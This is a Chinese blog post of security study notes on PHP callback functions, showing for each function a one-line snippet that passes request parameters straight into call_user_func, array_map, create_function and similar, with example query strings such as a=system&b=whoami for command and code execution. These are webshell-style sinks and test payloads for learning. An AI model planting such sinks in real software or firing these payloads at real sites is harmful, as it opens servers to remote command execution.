• 学习笔记- PHP回调函数


    PHP回调函数


    call_user_func

    call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数

    1. call_user_func($_GET['a1'],$_GET['a2']);
    2. ?>
    3. //xxx.php?a1=system&a2=whoami //命令执行
    4. //xxx.php?a1=assert&a2=phpinfo() //代码执行

    call_user_func_array()

    call_user_func_array() 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

    1. call_user_func_array($_GET['a1'],$_GET['a2']);
    2. ?>
    3. //xxx.php?a1=system&a2[]=whoami
    4. //xxx.php?a1=assert&a2[]=phpinfo()

    create_function()

    创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值

    1. $b=create_function('', @$_REQUEST['a']);$b();
    2. ?>
    3. //xxx.php?a=phpinfo();

    array_walk()

    array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

    1. array_walk($_GET['a'],$_GET['b']);
    2. ?>
    3. //xxx.php?a[]=whoami&b=system
    4. //xxx.php?a[]=phpinfo()&b=assert

    array_map()

    array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

    1. array_map($_GET['a'],$_GET['b']);
    2. ?>
    3. //xxx.php?a=system&b[]=whoami
    4. //xxx.php?a=assert&b[]=phpinfo()

    array_filter()

    array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

    1. array_filter(array($_GET['cmd']),$_GET['func']);
    2. ?>
    3. //?func=system&cmd=whoami
    4. //?func=assert&cmd=phpinfo()

    可变函数$var(args)

    PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

    1. $_GET['a']($_GET['b']);
    2. ?>
    3. //xxx.php?a=system&b=whoami
    4. //xxx?a=assert&b=phpinfo()

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    hi3559编译opencv4.2.0 并使用
    分库分表合并迁移
    纯html文件引入elementUI组件库要点记录
    计算机组成原理中的诸如4k*8位,8K*8位之类的是什么意思
    【JavaSE】一起学继承
    slam学习 - 基本VO代码学习
    Spring源码-doCreateBean
    淘宝问大家怎么投诉不良评价?
    深度学习课后week3 编程( 带有一个隐藏层的平面数据分类)
    设计一个网络爬虫(Python)
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127623453